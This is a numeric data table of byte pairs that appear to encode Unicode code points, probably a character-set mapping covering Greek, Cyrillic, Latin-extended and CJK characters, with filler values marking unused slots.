170,3,254,255,140,3,254,255,142,3,171,3,254,255,143,3,
254,255,254,255,254,255,254,255,172,3,173,3,174,3,175,3,
202,3,144,3,204,3,194,3,205,3,203,3,176,3,206,3,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,2,4,3,4,4,4,5,4,6,4,
7,4,8,4,9,4,10,4,11,4,12,4,14,4,15,4,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,82,4,83,4,84,4,85,4,86,4,
87,4,88,4,89,4,90,4,91,4,92,4,94,4,95,4,
198,0,16,1,254,255,38,1,254,255,50,1,254,255,65,1,
63,1,254,255,74,1,216,0,82,1,254,255,102,1,222,0,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
230,0,17,1,240,0,39,1,49,1,51,1,56,1,66,1,
64,1,73,1,75,1,248,0,83,1,223,0,103,1,254,0,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,193,0,192,0,
196,0,194,0,2,1,205,1,0,1,4,1,197,0,195,0,
6,1,8,1,12,1,199,0,10,1,14,1,201,0,200,0,
203,0,202,0,26,1,22,1,18,1,24,1,254,255,28,1,
30,1,34,1,32,1,36,1,205,0,204,0,207,0,206,0,
207,1,48,1,42,1,46,1,40,1,52,1,54,1,57,1,
61,1,59,1,67,1,71,1,69,1,209,0,211,0,210,0,
214,0,212,0,209,1,80,1,76,1,213,0,84,1,88,1,
86,1,90,1,92,1,96,1,94,1,100,1,98,1,218,0,
217,0,220,0,219,0,108,1,211,1,112,1,106,1,114,1,
110,1,104,1,215,1,219,1,217,1,213,1,116,1,221,0,
120,1,118,1,121,1,125,1,123,1,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,225,0,224,0,228,0,226,0,
3,1,206,1,1,1,5,1,229,0,227,0,7,1,9,1,
13,1,231,0,11,1,15,1,233,0,232,0,235,0,234,0,
27,1,23,1,19,1,25,1,245,1,29,1,31,1,254,255,
33,1,37,1,237,0,236,0,239,0,238,0,208,1,254,255,
43,1,47,1,41,1,53,1,55,1,58,1,62,1,60,1,
68,1,72,1,70,1,241,0,243,0,242,0,246,0,244,0,
210,1,81,1,77,1,245,0,85,1,89,1,87,1,91,1,
93,1,97,1,95,1,101,1,99,1,250,0,249,0,252,0,
251,0,109,1,212,1,113,1,107,1,115,1,111,1,105,1,
216,1,220,1,218,1,214,1,117,1,253,0,255,0,119,1,
122,1,126,1,124,1,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,2,78,4,78,5,78,12,78,18,78,31,78,
35,78,36,78,40,78,43,78,46,78,47,78,48,78,53,78,
64,78,65,78,68,78,71,78,81,78,90,78,92,78,99,78,
104,78,105,78,116,78,117,78,121,78,127,78,141,78,150,78,
151,78,157,78,175,78,185,78,195,78,208,78,218,78,219,78,
224,78,225,78,226,78,232,78,239,78,241,78,243,78,245,78,
253,78,254,78,255,78,0,79,2,79,3,79,8,79,11,79,
12,79,18,79,21,79,22,79,23,79,25,79,46,79,49,79,
96,79,51,79,53,79,55,79,57,79,59,79,62,79,64,79,
66,79,72,79,73,79,75,79,76,79,82,79,84,79,86,79,
88,79,95,79,99,79,106,79,108,79,110,79,113,79,119,79,
120,79,121,79,122,79,125,79,126,79,129,79,130,79,132,79,
133,79,137,79,138,79,140,79,142,79,144,79,146,79,147,79,
148,79,151,79,153,79,154,79,158,79,159,79,178,79,183,79,
185,79,187,79,188,79,189,79,190,79,192,79,193,79,197,79,
198,79,200,79,201,79,203,79,204,79,205,79,207,79,210,79,
220,79,224,79,226,79,240,79,242,79,252,79,253,79,255,79,
0,80,1,80,4,80,7,80,10,80,12,80,14,80,16,80,
19,80,23,80,24,80,27,80,28,80,29,80,30,80,34,80,
39,80,46,80,48,80,50,80,51,80,53,80,64,80,65,80,
66,80,69,80,70,80,74,80,76,80,78,80,81,80,82,80,
83,80,87,80,89,80,95,80,96,80,98,80,99,80,102,80,
103,80,106,80,109,80,112,80,113,80,59,80,129,80,131,80,
132,80,134,80,138,80,142,80,143,80,144,80,146,80,147,80,
148,80,150,80,155,80,156,80,158,80,159,80,160,80,161,80,
162,80,170,80,175,80,176,80,185,80,186,80,189,80,192,80,
195,80,196,80,199,80,204,80,206,80,208,80,211,80,212,80,
216,80,220,80,221,80,223,80,226,80,228,80,230,80,232,80,
233,80,239,80,241,80,246,80,250,80,254,80,3,81,6,81,
7,81,8,81,11,81,12,81,13,81,14,81,242,80,16,81,
23,81,25,81,27,81,28,81,29,81,30,81,35,81,39,81,
40,81,44,81,45,81,47,81,49,81,51,81,52,81,53,81,
56,81,57,81,66,81,74,81,79,81,83,81,85,81,87,81,
88,81,95,81,100,81,102,81,126,81,131,81,132,81,139,81,
142,81,152,81,157,81,161,81,163,81,173,81,184,81,186,81,
188,81,190,81,191,81,194,81,200,81,207,81,209,81,210,81,
211,81,213,81,216,81,222,81,226,81,229,81,238,81,242,81,
243,81,244,81,247,81,1,82,2,82,5,82,18,82,19,82,
21,82,22,82,24,82,34,82,40,82,49,82,50,82,53,82,
60,82,69,82,73,82,85,82,87,82,88,82,90,82,92,82,
95,82,96,82,97,82,102,82,110,82,119,82,120,82,121,82,
128,82,130,82,133,82,138,82,140,82,147,82,149,82,150,82,
151,82,152,82,154,82,156,82,164,82,165,82,166,82,167,82,
175,82,176,82,182,82,183,82,184,82,186,82,187,82,189,82,
192,82,196,82,198,82,200,82,204,82,207,82,209,82,212,82,
214,82,219,82,220,82,225,82,229,82,232,82,233,82,234,82,
236,82,240,82,241,82,244,82,246,82,247,82,0,83,3,83,
10,83,11,83,12,83,17,83,19,83,24,83,27,83,28,83,
30,83,31,83,37,83,39,83,40,83,41,83,43,83,44,83,
45,83,48,83,50,83,53,83,60,83,61,83,62,83,66,83,
76,83,75,83,89,83,91,83,97,83,99,83,101,83,108,83,
109,83,114,83,121,83,126,83,131,83,135,83,136,83,142,83,
147,83,148,83,153,83,157,83,161,83,164,83,170,83,171,83,
175,83,178,83,180,83,181,83,183,83,184,83,186,83,189,83,
192,83,197,83,207,83,210,83,211,83,213,83,218,83,221,83,
222,83,224,83,230,83,231,83,245,83,2,84,19,84,26,84,
33,84,39,84,40,84,42,84,47,84,49,84,52,84,53,84,
67,84,68,84,71,84,77,84,79,84,94,84,98,84,100,84,
102,84,103,84,105,84,107,84,109,84,110,84,116,84,127,84,
129,84,131,84,133,84,136,84,137,84,141,84,145,84,149,84,
150,84,156,84,159,84,161,84,166,84,167,84,169,84,170,84,
173,84,174,84,177,84,183,84,185,84,186,84,187,84,191,84,
198,84,202,84,205,84,206,84,224,84,234,84,236,84,239,84,
246,84,252,84,254,84,255,84,0,85,1,85,5,85,8,85,
9,85,12,85,13,85,14,85,21,85,42,85,43,85,50,85,
53,85,54,85,59,85,60,85,61,85,65,85,71,85,73,85,
74,85,77,85,80,85,81,85,88,85,90,85,91,85,94,85,
96,85,97,85,100,85,102,85,127,85,129,85,130,85,134,85,
136,85,142,85,143,85,145,85,146,85,147,85,148,85,151,85,
163,85,164,85,173,85,178,85,191,85,193,85,195,85,198,85,
201,85,203,85,204,85,206,85,209,85,210,85,211,85,215,85,
216,85,219,85,222,85,226,85,233,85,246,85,255,85,5,86,
8,86,10,86,13,86,14,86,15,86,16,86,17,86,18,86,
25,86,44,86,48,86,51,86,53,86,55,86,57,86,59,86,
60,86,61,86,63,86,64,86,65,86,67,86,68,86,70,86,
73,86,75,86,77,86,79,86,84,86,94,86,96,86,97,86,
98,86,99,86,102,86,105,86,109,86,111,86,113,86,114,86,
117,86,132,86,133,86,136,86,139,86,140,86,149,86,153,86,
154,86,157,86,158,86,159,86,166,86,167,86,168,86,169,86,
171,86,172,86,173,86,177,86,179,86,183,86,190,86,197,86,
201,86,202,86,203,86,207,86,208,86,204,86,205,86,217,86,
220,86,221,86,223,86,225,86,228,86,229,86,230,86,231,86,
232,86,241,86,235,86,237,86,246,86,247,86,1,87,2,87,
7,87,10,87,12,87,17,87,21,87,26,87,27,87,29,87,
32,87,34,87,35,87,36,87,37,87,41,87,42,87,44,87,
46,87,47,87,51,87,52,87,61,87,62,87,63,87,69,87,
70,87,76,87,77,87,82,87,98,87,101,87,103,87,104,87,
107,87,109,87,110,87,111,87,112,87,113,87,115,87,116,87,
117,87,119,87,121,87,122,87,123,87,124,87,126,87,129,87,
131,87,140,87,148,87,151,87,153,87,154,87,156,87,157,87,
158,87,159,87,161,87,149,87,167,87,168,87,169,87,172,87,
184,87,189,87,199,87,200,87,204,87,207,87,213,87,221,87,
222,87,228,87,230,87,231,87,233,87,237,87,240,87,245,87,
246,87,248,87,253,87,254,87,255,87,3,88,4,88,8,88,
9,88,225,87,12,88,13,88,27,88,30,88,31,88,32,88,
38,88,39,88,45,88,50,88,57,88,63,88,73,88,76,88,
77,88,79,88,80,88,85,88,95,88,97,88,100,88,103,88,
104,88,120,88,124,88,127,88,128,88,129,88,135,88,136,88,
137,88,138,88,140,88,141,88,143,88,144,88,148,88,150,88,
157,88,160,88,161,88,162,88,166,88,169,88,177,88,178,88,
196,88,188,88,194,88,200,88,205,88,206,88,208,88,210,88,
212,88,214,88,218,88,221,88,225,88,226,88,233,88,243,88,
5,89,6,89,11,89,12,89,18,89,19,89,20,89,65,134,
29,89,33,89,35,89,36,89,40,89,47,89,48,89,51,89,
53,89,54,89,63,89,67,89,70,89,82,89,83,89,89,89,
91,89,93,89,94,89,95,89,97,89,99,89,107,89,109,89,
111,89,114,89,117,89,118,89,121,89,123,89,124,89,139,89,
140,89,142,89,146,89,149,89,151,89,159,89,164,89,167,89,
173,89,174,89,175,89,176,89,179,89,183,89,186,89,188,89,
193,89,195,89,196,89,200,89,202,89,205,89,210,89,221,89,
222,89,223,89,227,89,228,89,231,89,238,89,239,89,241,89,
242,89,244,89,247,89,0,90,4,90,12,90,13,90,14,90,
18,90,19,90,30,90,35,90,36,90,39,90,40,90,42,90,
45,90,48,90,68,90,69,90,71,90,72,90,76,90,80,90,
85,90,94,90,99,90,101,90,103,90,109,90,119,90,122,90,
123,90,126,90,139,90,144,90,147,90,150,90,153,90,156,90,
158,90,159,90,160,90,162,90,167,90,172,90,177,90,178,90,
179,90,181,90,184,90,186,90,187,90,191,90,196,90,198,90,
200,90,207,90,218,90,220,90,224,90,229,90,234,90,238,90,
245,90,246,90,253,90,0,91,1,91,8,91,23,91,52,91,
25,91,27,91,29,91,33,91,37,91,45,91,56,91,65,91,
75,91,76,91,82,91,86,91,94,91,104,91,110,91,111,91,
124,91,125,91,126,91,127,91,129,91,132,91,134,91,138,91,
142,91,144,91,145,91,147,91,148,91,150,91,168,91,169,91,
172,91,173,91,175,91,177,91,178,91,183,91,186,91,188,91,
192,91,193,91,205,91,207,91,214,91,215,91,216,91,217,91,
218,91,224,91,239,91,241,91,244,91,253,91,12,92,23,92,
30,92,31,92,35,92,38,92,41,92,43,92,44,92,46,92,
48,92,50,92,53,92,54,92,89,92,90,92,92,92,98,92,
99,92,103,92,104,92,105,92,109,92,112,92,116,92,117,92,
122,92,123,92,124,92,125,92,135,92,136,92,138,92,143,92,
146,92,157,92,159,92,160,92,162,92,163,92,166,92,170,92,
178,92,180,92,181,92,186,92,201,92,203,92,210,92,221,92,
215,92,238,92,241,92,242,92,244,92,1,93,6,93,13,93,
18,93,43,93,35,93,36,93,38,93,39,93,49,93,52,93,
57,93,61,93,63,93,66,93,67,93,70,93,72,93,85,93,
81,93,89,93,74,93,95,93,96,93,97,93,98,93,100,93,
106,93,109,93,112,93,121,93,122,93,126,93,127,93,129,93,
131,93,136,93,138,93,146,93,147,93,148,93,149,93,153,93,
155,93,159,93,160,93,167,93,171,93,176,93,180,93,184,93,
185,93,195,93,199,93,203,93,208,93,206,93,216,93,217,93,
224,93,228,93,233,93,248,93,249,93,0,94,7,94,13,94,
18,94,20,94,21,94,24,94,31,94,32,94,46,94,40,94,
50,94,53,94,62,94,75,94,80,94,73,94,81,94,86,94,
88,94,91,94,92,94,94,94,104,94,106,94,107,94,108,94,
109,94,110,94,112,94,128,94,139,94,142,94,162,94,164,94,
165,94,168,94,170,94,172,94,177,94,179,94,189,94,190,94,
191,94,198,94,204,94,203,94,206,94,209,94,210,94,212,94,
213,94,220,94,222,94,229,94,235,94,2,95,6,95,7,95,
8,95,14,95,25,95,28,95,29,95,33,95,34,95,35,95,
36,95,40,95,43,95,44,95,46,95,48,95,52,95,54,95,
59,95,61,95,63,95,64,95,68,95,69,95,71,95,77,95,
80,95,84,95,88,95,91,95,96,95,99,95,100,95,103,95,
111,95,114,95,116,95,117,95,120,95,122,95,125,95,126,95,
137,95,141,95,143,95,150,95,156,95,157,95,162,95,167,95,
171,95,164,95,172,95,175,95,176,95,177,95,184,95,196,95,
199,95,200,95,201,95,203,95,208,95,209,95,210,95,211,95,
212,95,222,95,225,95,226,95,232,95,233,95,234,95,236,95,
237,95,238,95,239,95,242,95,243,95,246,95,250,95,252,95,
7,96,10,96,13,96,19,96,20,96,23,96,24,96,26,96,
31,96,36,96,45,96,51,96,53,96,64,96,71,96,72,96,
73,96,76,96,81,96,84,96,86,96,87,96,93,96,97,96,
103,96,113,96,126,96,127,96,130,96,134,96,136,96,138,96,
142,96,145,96,147,96,149,96,152,96,157,96,158,96,162,96,
164,96,165,96,168,96,176,96,177,96,183,96,187,96,190,96,
194,96,196,96,200,96,201,96,202,96,203,96,206,96,207,96,
212,96,213,96,217,96,219,96,221,96,222,96,226,96,229,96,
242,96,245,96,248,96,252,96,253,96,2,97,7,97,10,97,
12,97,16,97,17,97,18,97,19,97,20,97,22,97,23,97,
25,97,28,97,30,97,34,97,42,97,43,97,48,97,49,97,
53,97,54,97,55,97,57,97,65,97,69,97,70,97,73,97,
94,97,96,97,108,97,114,97,120,97,123,97,124,97,127,97,
128,97,129,97,131,97,132,97,139,97,141,97,146,97,147,97,
151,97,152,97,156,97,157,97,159,97,160,97,165,97,168,97,
170,97,173,97,184,97,185,97,188,97,192,97,193,97,194,97,
206,97,207,97,213,97,220,97,221,97,222,97,223,97,225,97,
226,97,231,97,233,97,229,97,236,97,237,97,239,97,1,98,
3,98,4,98,7,98,19,98,21,98,28,98,32,98,34,98,
35,98,39,98,41,98,43,98,57,98,61,98,66,98,67,98,
68,98,70,98,76,98,80,98,81,98,82,98,84,98,86,98,
90,98,92,98,100,98,109,98,111,98,115,98,122,98,125,98,
141,98,142,98,143,98,144,98,166,98,168,98,179,98,182,98,
183,98,186,98,190,98,191,98,196,98,206,98,213,98,214,98,
218,98,234,98,242,98,244,98,252,98,253,98,3,99,4,99,
10,99,11,99,13,99,16,99,19,99,22,99,24,99,41,99,
42,99,45,99,53,99,54,99,57,99,60,99,65,99,66,99,
67,99,68,99,70,99,74,99,75,99,78,99,82,99,83,99,
84,99,88,99,91,99,101,99,102,99,108,99,109,99,113,99,
116,99,117,99,120,99,124,99,125,99,127,99,130,99,132,99,
135,99,138,99,144,99,148,99,149,99,153,99,154,99,158,99,
164,99,166,99,173,99,174,99,175,99,189,99,193,99,197,99,
200,99,206,99,209,99,211,99,212,99,213,99,220,99,224,99,
229,99,234,99,236,99,242,99,243,99,245,99,248,99,249,99,
9,100,10,100,16,100,18,100,20,100,24,100,30,100,32,100,
34,100,36,100,37,100,41,100,42,100,47,100,48,100,53,100,
61,100,63,100,75,100,79,100,81,100,82,100,83,100,84,100,
90,100,91,100,92,100,93,100,95,100,96,100,97,100,99,100,
109,100,115,100,116,100,123,100,125,100,133,100,135,100,143,100,
144,100,145,100,152,100,153,100,155,100,157,100,159,100,161,100,
163,100,166,100,168,100,172,100,179,100,189,100,190,100,191,100,
196,100,201,100,202,100,203,100,204,100,206,100,208,100,209,100,
213,100,215,100,228,100,229,100,233,100,234,100,237,100,240,100,
245,100,247,100,251,100,255,100,1,101,4,101,8,101,9,101,
10,101,15,101,19,101,20,101,22,101,25,101,27,101,30,101,
31,101,34,101,38,101,41,101,46,101,49,101,58,101,60,101,
61,101,67,101,71,101,73,101,80,101,82,101,84,101,95,101,
96,101,103,101,107,101,122,101,125,101,129,101,133,101,138,101,
146,101,149,101,152,101,157,101,160,101,163,101,166,101,174,101,
178,101,179,101,180,101,191,101,194,101,200,101,201,101,206,101,
208,101,212,101,214,101,216,101,223,101,240,101,242,101,244,101,
245,101,249,101,254,101,255,101,0,102,4,102,8,102,9,102,
13,102,17,102,18,102,21,102,22,102,29,102,30,102,33,102,
34,102,35,102,36,102,38,102,41,102,42,102,43,102,44,102,
46,102,48,102,49,102,51,102,57,102,55,102,64,102,69,102,
70,102,74,102,76,102,81,102,78,102,87,102,88,102,89,102,
91,102,92,102,96,102,97,102,251,102,106,102,107,102,108,102,
126,102,115,102,117,102,127,102,119,102,120,102,121,102,123,102,
128,102,124,102,139,102,140,102,141,102,144,102,146,102,153,102,
154,102,155,102,156,102,159,102,160,102,164,102,173,102,177,102,
178,102,181,102,187,102,191,102,192,102,194,102,195,102,200,102,
204,102,206,102,207,102,212,102,219,102,223,102,232,102,235,102,
236,102,238,102,250,102,5,103,7,103,14,103,19,103,25,103,
28,103,32,103,34,103,51,103,62,103,69,103,71,103,72,103,
76,103,84,103,85,103,93,103,102,103,108,103,110,103,116,103,
118,103,123,103,129,103,132,103,142,103,143,103,145,103,147,103,
150,103,152,103,153,103,155,103,176,103,177,103,178,103,181,103,
187,103,188,103,189,103,249,103,192,103,194,103,195,103,197,103,
200,103,201,103,210,103,215,103,217,103,220,103,225,103,230,103,
240,103,242,103,246,103,247,103,82,104,20,104,25,104,29,104,
31,104,40,104,39,104,44,104,45,104,47,104,48,104,49,104,
51,104,59,104,63,104,68,104,69,104,74,104,76,104,85,104,
87,104,88,104,91,104,107,104,110,104,111,104,112,104,113,104,
114,104,117,104,121,104,122,104,123,104,124,104,130,104,132,104,
134,104,136,104,150,104,152,104,154,104,156,104,161,104,163,104,
165,104,169,104,170,104,174,104,178,104,187,104,197,104,200,104,
204,104,207,104,208,104,209,104,211,104,214,104,217,104,220,104,
221,104,229,104,232,104,234,104,235,104,236,104,237,104,240,104,
241,104,245,104,246,104,251,104,252,104,253,104,6,105,9,105,
10,105,16,105,17,105,19,105,22,105,23,105,49,105,51,105,
53,105,56,105,59,105,66,105,69,105,73,105,78,105,87,105,
91,105,99,105,100,105,101,105,102,105,104,105,105,105,108,105,
112,105,113,105,114,105,122,105,123,105,127,105,128,105,141,105,
146,105,150,105,152,105,161,105,165,105,166,105,168,105,171,105,
173,105,175,105,183,105,184,105,186,105,188,105,197,105,200,105,
209,105,214,105,215,105,226,105,229,105,238,105,239,105,241,105,
243,105,245,105,254,105,0,106,1,106,3,106,15,106,17,106,
21,106,26,106,29,106,32,106,36,106,40,106,48,106,50,106,
52,106,55,106,59,106,62,106,63,106,69,106,70,106,73,106,
74,106,78,106,80,106,81,106,82,106,85,106,86,106,91,106,
100,106,103,106,106,106,113,106,115,106,126,106,129,106,131,106,
134,106,135,106,137,106,139,106,145,106,155,106,157,106,158,106,
159,106,165,106,171,106,175,106,176,106,177,106,180,106,189,106,
190,106,191,106,198,106,201,106,200,106,204,106,208,106,212,106,
213,106,214,106,220,106,221,106,228,106,231,106,236,106,240,106,
241,106,242,106,252,106,253,106,2,107,3,107,6,107,7,107,
9,107,15,107,16,107,17,107,23,107,27,107,30,107,36,107,
40,107,43,107,44,107,47,107,53,107,54,107,59,107,63,107,
70,107,74,107,77,107,82,107,86,107,88,107,93,107,96,107,
103,107,107,107,110,107,112,107,117,107,125,107,126,107,130,107,
133,107,151,107,155,107,159,107,160,107,162,107,163,107,168,107,
169,107,172,107,173,107,174,107,176,107,184,107,185,107,189,107,
190,107,195,107,196,107,201,107,204,107,214,107,218,107,225,107,
227,107,230,107,231,107,238,107,241,107,247,107,249,107,255,107,
2,108,4,108,5,108,9,108,13,108,14,108,16,108,18,108,
25,108,31,108,38,108,39,108,40,108,44,108,46,108,51,108,
53,108,54,108,58,108,59,108,63,108,74,108,75,108,77,108,
79,108,82,108,84,108,89,108,91,108,92,108,107,108,109,108,
111,108,116,108,118,108,120,108,121,108,123,108,133,108,134,108,
135,108,137,108,148,108,149,108,151,108,152,108,156,108,159,108,
176,108,178,108,180,108,194,108,198,108,205,108,207,108,208,108,
209,108,210,108,212,108,214,108,218,108,220,108,224,108,231,108,
233,108,235,108,236,108,238,108,242,108,244,108,4,109,7,109,
10,109,14,109,15,109,17,109,19,109,26,109,38,109,39,109,
40,109,103,108,46,109,47,109,49,109,57,109,60,109,63,109,
87,109,94,109,95,109,97,109,101,109,103,109,111,109,112,109,
124,109,130,109,135,109,145,109,146,109,148,109,150,109,151,109,
152,109,170,109,172,109,180,109,183,109,185,109,189,109,191,109,
196,109,200,109,202,109,206,109,207,109,214,109,219,109,221,109,
223,109,224,109,226,109,229,109,233,109,239,109,240,109,244,109,
246,109,252,109,0,110,4,110,30,110,34,110,39,110,50,110,
54,110,57,110,59,110,60,110,68,110,69,110,72,110,73,110,
75,110,79,110,81,110,82,110,83,110,84,110,87,110,92,110,
93,110,94,110,98,110,99,110,104,110,115,110,123,110,125,110,
141,110,147,110,153,110,160,110,167,110,173,110,174,110,177,110,
179,110,187,110,191,110,192,110,193,110,195,110,199,110,200,110,
202,110,205,110,206,110,207,110,235,110,237,110,238,110,249,110,
251,110,253,110,4,111,8,111,10,111,12,111,13,111,22,111,
24,111,26,111,27,111,38,111,41,111,42,111,47,111,48,111,
51,111,54,111,59,111,60,111,45,111,79,111,81,111,82,111,
83,111,87,111,89,111,90,111,93,111,94,111,97,111,98,111,
104,111,108,111,125,111,126,111,131,111,135,111,136,111,139,111,
140,111,141,111,144,111,146,111,147,111,148,111,150,111,154,111,
159,111,160,111,165,111,166,111,167,111,168,111,174,111,175,111,
176,111,181,111,182,111,188,111,197,111,199,111,200,111,202,111,
218,111,222,111,232,111,233,111,240,111,245,111,249,111,252,111,
253,111,0,112,5,112,6,112,7,112,13,112,23,112,32,112,
35,112,47,112,52,112,55,112,57,112,60,112,67,112,68,112,
72,112,73,112,74,112,75,112,84,112,85,112,93,112,94,112,
78,112,100,112,101,112,108,112,110,112,117,112,118,112,126,112,
129,112,133,112,134,112,148,112,149,112,150,112,151,112,152,112,
155,112,164,112,171,112,176,112,177,112,180,112,183,112,202,112,
209,112,211,112,212,112,213,112,214,112,216,112,220,112,228,112,
250,112,3,113,4,113,5,113,6,113,7,113,11,113,12,113,
15,113,30,113,32,113,43,113,45,113,47,113,48,113,49,113,
56,113,65,113,69,113,70,113,71,113,74,113,75,113,80,113,
82,113,87,113,90,113,92,113,94,113,96,113,104,113,121,113,
128,113,133,113,135,113,140,113,146,113,154,113,155,113,160,113,
162,113,175,113,176,113,178,113,179,113,186,113,191,113,192,113,
193,113,196,113,203,113,204,113,211,113,214,113,217,113,218,113,
220,113,248,113,254,113,0,114,7,114,8,114,9,114,19,114,
23,114,26,114,29,114,31,114,36,114,43,114,47,114,52,114,
56,114,57,114,65,114,66,114,67,114,69,114,78,114,79,114,
80,114,83,114,85,114,86,114,90,114,92,114,94,114,96,114,
99,114,104,114,107,114,110,114,111,114,113,114,119,114,120,114,
123,114,124,114,127,114,132,114,137,114,141,114,142,114,147,114,
155,114,168,114,173,114,174,114,177,114,180,114,190,114,193,114,
199,114,201,114,204,114,213,114,214,114,216,114,223,114,229,114,
243,114,244,114,250,114,251,114,254,114,2,115,4,115,5,115,
7,115,11,115,13,115,18,115,19,115,24,115,25,115,30,115,
34,115,36,115,39,115,40,115,44,115,49,115,50,115,53,115,
58,115,59,115,61,115,67,115,77,115,80,115,82,115,86,115,
88,115,93,115,94,115,95,115,96,115,102,115,103,115,105,115,
107,115,108,115,110,115,111,115,113,115,119,115,121,115,124,115,
128,115,129,115,131,115,133,115,134,115,142,115,144,115,147,115,
149,115,151,115,152,115,156,115,158,115,159,115,160,115,162,115,
165,115,166,115,170,115,171,115,173,115,181,115,183,115,185,115,
188,115,189,115,191,115,197,115,198,115,201,115,203,115,204,115,
207,115,210,115,211,115,214,115,217,115,221,115,225,115,227,115,
230,115,231,115,233,115,244,115,245,115,247,115,249,115,250,115,
251,115,253,115,255,115,0,116,1,116,4,116,7,116,10,116,
17,116,26,116,27,116,36,116,38,116,40,116,41,116,42,116,
43,116,44,116,45,116,46,116,47,116,48,116,49,116,57,116,
64,116,67,116,68,116,70,116,71,116,75,116,77,116,81,116,
82,116,87,116,93,116,98,116,102,116,103,116,104,116,107,116,
109,116,110,116,113,116,114,116,128,116,129,116,133,116,134,116,
135,116,137,116,143,116,144,116,145,116,146,116,152,116,153,116,
154,116,156,116,159,116,160,116,161,116,163,116,166,116,168,116,
169,116,170,116,171,116,174,116,175,116,177,116,178,116,181,116,
185,116,187,116,191,116,200,116,201,116,204,116,208,116,211,116,
216,116,218,116,219,116,222,116,223,116,228,116,232,116,234,116,
235,116,239,116,244,116,250,116,251,116,252,116,255,116,6,117,
18,117,22,117,23,117,32,117,33,117,36,117,39,117,41,117,
42,117,47,117,54,117,57,117,61,117,62,117,63,117,64,117,
67,117,71,117,72,117,78,117,80,117,82,117,87,117,94,117,
95,117,97,117,111,117,113,117,121,117,122,117,123,117,124,117,
125,117,126,117,129,117,133,117,144,117,146,117,147,117,149,117,
153,117,156,117,162,117,164,117,180,117,186,117,191,117,192,117,
193,117,196,117,198,117,204,117,206,117,207,117,215,117,220,117,
223,117,224,117,225,117,228,117,231,117,236,117,238,117,239,117,
241,117,249,117,0,118,2,118,3,118,4,118,7,118,8,118,
10,118,12,118,15,118,18,118,19,118,21,118,22,118,25,118,
27,118,28,118,29,118,30,118,35,118,37,118,38,118,41,118,
45,118,50,118,51,118,53,118,56,118,57,118,58,118,60,118,
74,118,64,118,65,118,67,118,68,118,69,118,73,118,75,118,
85,118,89,118,95,118,100,118,101,118,109,118,110,118,111,118,
113,118,116,118,129,118,133,118,140,118,141,118,149,118,155,118,
156,118,157,118,159,118,160,118,162,118,163,118,164,118,165,118,
166,118,167,118,168,118,170,118,173,118,189,118,193,118,197,118,
201,118,203,118,204,118,206,118,212,118,217,118,224,118,230,118,
232,118,236,118,240,118,241,118,246,118,249,118,252,118,0,119,
6,119,10,119,14,119,18,119,20,119,21,119,23,119,25,119,
26,119,28,119,34,119,40,119,45,119,46,119,47,119,52,119,
53,119,54,119,57,119,61,119,62,119,66,119,69,119,70,119,
74,119,77,119,78,119,79,119,82,119,86,119,87,119,92,119,
94,119,95,119,96,119,98,119,100,119,103,119,106,119,108,119,
112,119,114,119,115,119,116,119,122,119,125,119,128,119,132,119,
140,119,141,119,148,119,149,119,150,119,154,119,159,119,162,119,
167,119,170,119,174,119,175,119,177,119,181,119,190,119,195,119,
201,119,209,119,210,119,213,119,217,119,222,119,223,119,224,119,
228,119,230,119,234,119,236,119,240,119,241,119,244,119,248,119,
251,119,5,120,6,120,9,120,13,120,14,120,17,120,29,120,
33,120,34,120,35,120,45,120,46,120,48,120,53,120,55,120,
67,120,68,120,71,120,72,120,76,120,78,120,82,120,92,120,
94,120,96,120,97,120,99,120,100,120,104,120,106,120,110,120,
122,120,126,120,138,120,143,120,148,120,152,120,161,120,157,120,
158,120,159,120,164,120,168,120,172,120,173,120,176,120,177,120,
178,120,179,120,187,120,189,120,191,120,199,120,200,120,201,120,
204,120,206,120,210,120,211,120,213,120,214,120,228,120,219,120,
223,120,224,120,225,120,230,120,234,120,242,120,243,120,0,121,
246,120,247,120,250,120,251,120,255,120,6,121,12,121,16,121,
26,121,28,121,30,121,31,121,32,121,37,121,39,121,41,121,
45,121,49,121,52,121,53,121,59,121,61,121,63,121,68,121,
69,121,70,121,74,121,75,121,79,121,81,121,84,121,88,121,
91,121,92,121,103,121,105,121,107,121,114,121,121,121,123,121,
124,121,126,121,139,121,140,121,145,121,147,121,148,121,149,121,
150,121,152,121,155,121,156,121,161,121,168,121,169,121,171,121,
175,121,177,121,180,121,184,121,187,121,194,121,196,121,199,121,
200,121,202,121,207,121,212,121,214,121,218,121,221,121,222,121,
224,121,226,121,229,121,234,121,235,121,237,121,241,121,248,121,
252,121,2,122,3,122,7,122,9,122,10,122,12,122,17,122,
21,122,27,122,30,122,33,122,39,122,43,122,45,122,47,122,
48,122,52,122,53,122,56,122,57,122,58,122,68,122,69,122,
71,122,72,122,76,122,85,122,86,122,89,122,92,122,93,122,
95,122,96,122,101,122,103,122,106,122,109,122,117,122,120,122,
126,122,128,122,130,122,133,122,134,122,138,122,139,122,144,122,
145,122,148,122,158,122,160,122,163,122,172,122,179,122,181,122,
185,122,187,122,188,122,198,122,201,122,204,122,206,122,209,122,
219,122,232,122,233,122,235,122,236,122,241,122,244,122,251,122,
253,122,254,122,7,123,20,123,31,123,35,123,39,123,41,123,
42,123,43,123,45,123,46,123,47,123,48,123,49,123,52,123,
61,123,63,123,64,123,65,123,71,123,78,123,85,123,96,123,
100,123,102,123,105,123,106,123,109,123,111,123,114,123,115,123,
119,123,132,123,137,123,142,123,144,123,145,123,150,123,155,123,
158,123,160,123,165,123,172,123,175,123,176,123,178,123,181,123,
